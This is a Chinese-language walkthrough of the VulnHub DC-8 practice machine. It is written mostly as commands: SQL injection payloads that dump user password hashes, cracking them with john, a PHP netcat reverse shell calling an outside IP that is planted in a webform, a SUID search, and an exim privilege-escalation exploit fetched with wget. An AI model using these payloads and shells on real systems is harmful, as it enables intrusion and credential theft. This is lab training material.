DC-8

环境配置

https://www.vulnhub.com/entry/dc-8,367/

渗透过程

·找到一个flag就算渗透成功

flag

和之前一样,nmap扫描后去访问80端口

在contact us中的url发现了蹊跷,疑似sql注入

进行简单的注入后拿到密码

1 order by 1

-1 union select 1

-1 union select database()
//d7db

-1 union select group_concat(table_name) from information_schema.tables where table_schema='d7db'
//users

-1 union select group_concat(column_name) from information_schema.columns where table_name='users'

-1 union select group_concat(name,';;;',pass) from users

用john把密码跑出来 :john/turtle

再扫目录进入后台:/user/login,账号密码登陆

登进去后到处找能写东西的地方,终于在Contact Us->WEBFORM->Form settings里看到了有PHP code,直接弹shell

<?php system('nc 139.196.123.120 7777 -e /bin/bash');?>

这里我看网上说的是用bash反弹的话在ubuntu下不会反弹成功,CentOS可以反弹成功。所以直接用的nc

然后再随便创建一个账户提交就反弹成功了。

还是先看一下suid文件

find / -user root -perm -4000 -print 2>/dev/null

看到有exim4命令,exim是一款在Unix系统上使用的邮件服务,先看版本

/usr/sbin/exim4 --version

然后搜一下相应漏洞

searchsploit exim

里面有一个相应版本的漏洞,打开看看

先把脚本复制到kali里面

然后在kali上开启临时http服务,以便让靶机能下载脚本文件,命令:python -m SimpleHTTPServer

然后进入靶机的tmp目录下载脚本并给予权限

cd /tmp
wget http://192.168.26.132:8000/46996.sh
chmod 777 46996.sh

执行不了才发现自己忘开交互shell了,用python开一个

python -c 'import pty;pty.spawn("/bin/bash")'

执行一下:./46996.sh -m netcat

报错了,原因是这里的46996.sh文件的格式为dos格式。而linux只能执行格式为unix格式的脚本。要想执行46996.sh文件,需要修改文件format为unix。在kali中执行vi 46996.sh,然后输入:set ff=unix

然后再输入:wq,再把脚本重新传入到靶机里面去,执行./46996.sh -m netcat,再去/root目录下就拿到了。